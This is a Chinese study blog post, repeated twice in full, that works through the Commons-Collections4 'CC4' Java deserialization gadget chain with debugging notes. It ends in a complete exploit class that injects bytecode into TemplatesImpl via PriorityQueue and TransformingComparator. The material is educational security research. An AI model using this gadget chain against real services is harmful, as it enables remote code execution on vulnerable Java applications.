Java-CC4

CC4

CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。

环境

JDK8u65

maven添加依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13.2</version>
<scope>test</scope>
</dependency>
</dependencies>

commons-collections可以去掉,但是有可能,你和之前CC链子学习是在同一个项目,调试的时候就会报错。

因为还是 CC 链的漏洞,所以一般是与 transform 分不开的。尾部执行命令的方式:动态加载和命令执行。

InstantiateTransformer

org.apache.commons.collections4.functors.InstantiateTransformer

之前使用的是 org.apache.commons.collections.functors.InstantiateTransformer;

find usage依次寻找。主要看 commons-collections4的库

TransformingComparator

org.apache.commons.collections4.comparators.TransformingComparator#compare

PriorityQueue

java.util.PriorityQueue

1
2
java.util.PriorityQueue#siftDownUsingComparator
java.util.PriorityQueue#siftDown

之后遇到三个,前两个函数内部很多if,先不考虑,直接看 heapify

1
2
3
java.util.PriorityQueue#poll
java.util.PriorityQueue#removeAt
java.util.PriorityQueue#heapify

readObject中调用,没有很多限制,很开心。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

开搞开搞

序列化和反序列化函数

1
2
3
4
5
6
7
8
9
public static void serializable(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserializable(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}

1.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
@Test
public void test() throws Exception {
byte[] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};

TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = templates.getClass();

Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "test");

Field _bytecodes = clazz.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, codes);

Field _tfactory = clazz.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);


PriorityQueue queue = new PriorityQueue(2,transformingComparator);

serializable(queue);
unserializable("ser.bin");
}

run,一片安静,?????

在每个利用点打个断点,老师也没教我怎么打断点啊,只是跟着恩师翁恺老师,学习了一点C语言,知道程序会停在断点那里。

直接给每个利用点(方法和被调方法)打起断点。

1
2
在方法入口处打断点,即 函数一旦被调用就暂停。
在函数内部的某一行代码(如 if 语句、循环、方法调用等)设置断点,仅当执行到该具体行时,调试器才会暂停程序。

image-20250331232745578

i == -1,直接跑出去了呀。由于size是类的属性,怎么知道的,看颜色啊,不看颜色就点进去看。

反射搞搞,或者找其他赋值的点。

反射

设置size的值处理过后,要大于0;

>>>向右移位,高位补0。(size >>> 1 ) - 1 ,size (10)2是2,右移为 (1)2 - 1 = 0,满足条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
@Test
public void test2() throws Exception {
byte[] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};

TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = templates.getClass();

Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "test");

Field _bytecodes = clazz.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, codes);

Field _tfactory = clazz.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

PriorityQueue queue = new PriorityQueue(2,transformingComparator);

Field size = queue.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);

serializable(queue);
unserializable("ser.bin");
}

add()赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public boolean add(E e) {
return offer(e);
}

public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

调用一次,size加一。需要调动两次。

这里需要注意函数第二次调用时i == 1,所以会调用siftUp(),会触发链子。这就需要用到以前的老套路,先传入无关的属性,序列化是反射修改。

1
2
3
siftUp
siftUpUsingComparator
compare

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

// 最终 EXP 版本
public class CC4EXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, chainedTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

小摊

搞完已经是11点40了,害。准备学下一个。

链子

1
2
3
4
5
6
7
8
9
10
11
12
13
TransletClassLoader.defineClass()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.getTransletInstance()
TemplatesImpl.newTransformer()


com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#TrAXFilter
org.apache.commons.collections4.functors.InstantiateTransformer#transform
org.apache.commons.collections4.comparators.TransformingComparator#compare
java.util.PriorityQueue#siftDownUsingComparator
java.util.PriorityQueue#siftDown
java.util.PriorityQueue#heapify
java.util.PriorityQueue#readObject

CC4

CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。

环境

JDK8u65

maven添加依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13.2</version>
<scope>test</scope>
</dependency>
</dependencies>

commons-collections可以去掉,但是有可能,你和之前CC链子学习是在同一个项目,调试的时候就会报错。

因为还是 CC 链的漏洞,所以一般是与 transform 分不开的。尾部执行命令的方式:动态加载和命令执行。

InstantiateTransformer

org.apache.commons.collections4.functors.InstantiateTransformer

之前使用的是 org.apache.commons.collections.functors.InstantiateTransformer;

find usage依次寻找。主要看 commons-collections4的库

TransformingComparator

org.apache.commons.collections4.comparators.TransformingComparator#compare

PriorityQueue

java.util.PriorityQueue

1
2
java.util.PriorityQueue#siftDownUsingComparator
java.util.PriorityQueue#siftDown

之后遇到三个,前两个函数内部很多if,先不考虑,直接看 heapify

1
2
3
java.util.PriorityQueue#poll
java.util.PriorityQueue#removeAt
java.util.PriorityQueue#heapify

readObject中调用,没有很多限制,很开心。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

开搞开搞

序列化和反序列化函数

1
2
3
4
5
6
7
8
9
public static void serializable(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserializable(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}

1.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
@Test
public void test() throws Exception {
byte[] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};

TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = templates.getClass();

Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "test");

Field _bytecodes = clazz.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, codes);

Field _tfactory = clazz.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);


PriorityQueue queue = new PriorityQueue(2,transformingComparator);

serializable(queue);
unserializable("ser.bin");
}

run,一片安静,?????

在每个利用点打个断点,老师也没教我怎么打断点啊,只是跟着恩师翁恺老师,学习了一点C语言,知道程序会停在断点那里。

直接给每个利用点(方法和被调方法)打起断点。

1
2
在方法入口处打断点,即 函数一旦被调用就暂停。
在函数内部的某一行代码(如 if 语句、循环、方法调用等)设置断点,仅当执行到该具体行时,调试器才会暂停程序。

image-20250331232745578

i == -1,直接跑出去了呀。由于size是类的属性,怎么知道的,看颜色啊,不看颜色就点进去看。

反射搞搞,或者找其他赋值的点。

反射

设置size的值处理过后,要大于0;

>>>向右移位,高位补0。(size >>> 1 ) - 1 ,size (10)2是2,右移为 (1)2 - 1 = 0,满足条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
@Test
public void test2() throws Exception {
byte[] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};

TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = templates.getClass();

Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "test");

Field _bytecodes = clazz.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, codes);

Field _tfactory = clazz.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

PriorityQueue queue = new PriorityQueue(2,transformingComparator);

Field size = queue.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);

serializable(queue);
unserializable("ser.bin");
}

add()赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public boolean add(E e) {
return offer(e);
}

public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

调用一次,size加一。需要调动两次。

这里需要注意函数第二次调用时i == 1,所以会调用siftUp(),会触发链子。这就需要用到以前的老套路,先传入无关的属性,序列化是反射修改。

1
2
3
siftUp
siftUpUsingComparator
compare

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

// 最终 EXP 版本
public class CC4EXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, chainedTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

小摊

搞完已经是11点40了,害。准备学下一个。

链子

1
2
3
4
5
6
7
8
9
10
11
12
13
TransletClassLoader.defineClass()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.getTransletInstance()
TemplatesImpl.newTransformer()


com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#TrAXFilter
org.apache.commons.collections4.functors.InstantiateTransformer#transform
org.apache.commons.collections4.comparators.TransformingComparator#compare
java.util.PriorityQueue#siftDownUsingComparator
java.util.PriorityQueue#siftDown
java.util.PriorityQueue#heapify
java.util.PriorityQueue#readObject

Java-CC4
https://rpniu.github.io/2025/04/01/Java_CC4/
作者
rPniu
发布于
2025年4月1日
许可协议